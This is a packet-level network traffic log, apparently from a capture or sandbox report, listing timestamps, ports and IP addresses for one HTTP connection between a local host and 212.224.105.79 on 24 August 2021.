Aug 24, 2021 14:02:02.932657957 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.932671070 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.932686090 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.932712078 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.932722092 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.932737112 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.932760000 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.932764053 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.932789087 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.932812929 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.932837009 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.932842016 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.932868004 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.932883024 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.932893038 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.932913065 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.932919025 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.932941914 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.932962894 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.932967901 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.932995081 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.933018923 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.933043003 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.933047056 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.933073044 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.933080912 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.933130026 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.955770969 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.955836058 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.955909967 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.955945969 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.955951929 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.955996990 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.956022978 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.956028938 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.956068039 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.956073999 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.956104040 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.956135988 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.956150055 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.956159115 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.956175089 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.956197023 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.956204891 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.956216097 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.956233025 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.956248045 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.956249952 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.956269026 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.956283092 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.956284046 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.956300974 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.956319094 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.956321001 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.956340075 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.956351995 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.956357956 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.956374884 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.956387043 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.956406116 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.956425905 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.956427097 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.956449986 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.956465960 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.956484079 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.956490993 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.956500053 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.956517935 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.956535101 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.956537962 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.956552029 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.956571102 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.956573009 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.956590891 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.956607103 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.956615925 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.956623077 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.956640005 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.956650972 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.956656933 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.956675053 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.956688881 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.956690073 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.956711054 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.956726074 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.956758976 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.979753017 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.979809046 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.979851007 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.979887962 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.979906082 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.979914904 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.979948044 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.979969025 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.980007887 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.980020046 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.980027914 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.980046988 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.980062962 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.980077028 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.980079889 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.980098009 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.980118036 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.980118036 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.980139017 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.980149984 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.980161905 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.980165005 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.980175018 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.980194092 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.980201960 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.980210066 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.980230093 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.980233908 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.980247974 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.980263948 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.980281115 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.980298042 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.980298042 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.980314970 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.980331898 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.980343103 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.980349064 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.980355024 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.980366945 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.980379105 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.980391026 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.980402946 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.980415106 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.980428934 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.980444908 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.980464935 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.980483055 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:02.980483055 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.980520010 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:02.987868071 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.280658007 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.280800104 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.303232908 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.335417032 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.364264011 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.364304066 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.386630058 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.417081118 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.521096945 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.521161079 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.544578075 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.569488049 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.616024017 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.616075993 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.638212919 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.695744038 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.695816040 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.695873022 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.695887089 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.695935011 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.695983887 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.696017981 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.696079016 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.696127892 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.696151018 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.696209908 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.696264029 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.696273088 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.696321964 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.696345091 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.696371078 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.696372032 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.696398020 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.696417093 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.696420908 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.696444988 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.696464062 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.696482897 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.696505070 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.696523905 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.696547031 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.696567059 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.696568012 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.696592093 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.696614981 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.696616888 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.696636915 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.696638107 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.696660995 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.696680069 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.696686983 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.696712017 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.696732998 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.696736097 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.696758986 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.696783066 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.696784019 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.696805954 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.696825027 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.696827888 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.696852922 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.696866989 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.696878910 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.696904898 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.696923018 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.696928024 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.696950912 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.696973085 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.696996927 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.697021008 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.697022915 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.697027922 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.697041988 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.697068930 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.697069883 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.697093010 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.697109938 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.697113991 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.697139025 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.697163105 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.697163105 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.697185993 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.697201014 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.697208881 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.697247028 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.719893932 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.719996929 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.720031023 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.720057011 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.720097065 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.720138073 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.720160007 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.720233917 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.720278978 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.720307112 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.720350027 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.720374107 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.720388889 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.720396042 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.720418930 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.720436096 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.720441103 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.720463991 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.720479965 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.720489025 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.720513105 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.720530033 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.720534086 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.720556974 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.720572948 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.720578909 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.720601082 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.720618963 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.720623016 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.720645905 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.720664024 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.720669985 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.720695019 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.720706940 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.720719099 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.720742941 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.720756054 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.720763922 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.720787048 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.720803022 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.720808029 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.720828056 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.720846891 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.720851898 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.720875978 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.720891953 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.720896959 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.720921040 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.720933914 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.720942020 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.720964909 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.720987082 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.720988989 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.721009970 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.721026897 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.721035004 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.721060038 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.721072912 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.721081018 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.721103907 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.721117020 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.721124887 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.721147060 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.721163034 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.721168995 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.721190929 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.721208096 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.721215963 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.721241951 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.721255064 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.721261978 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.721299887 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.743798018 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.743894100 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.743933916 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.743946075 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.743957043 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.743982077 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.744003057 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.744005919 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.744029045 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.744048119 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.744049072 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.744086981 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.744090080 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.744132042 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.744170904 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.744200945 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.744277000 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.744307041 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.744314909 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.744329929 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.744353056 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.744371891 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.744373083 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.744396925 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.744409084 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.744421005 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.744445086 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.744457006 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.744467020 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.744488955 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.744503975 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.744509935 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.744532108 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.744548082 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.744554043 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.744576931 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.744596958 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.744601965 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.744626045 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.744643927 CEST	49732	80	192.168.2.3	212.224.105.79
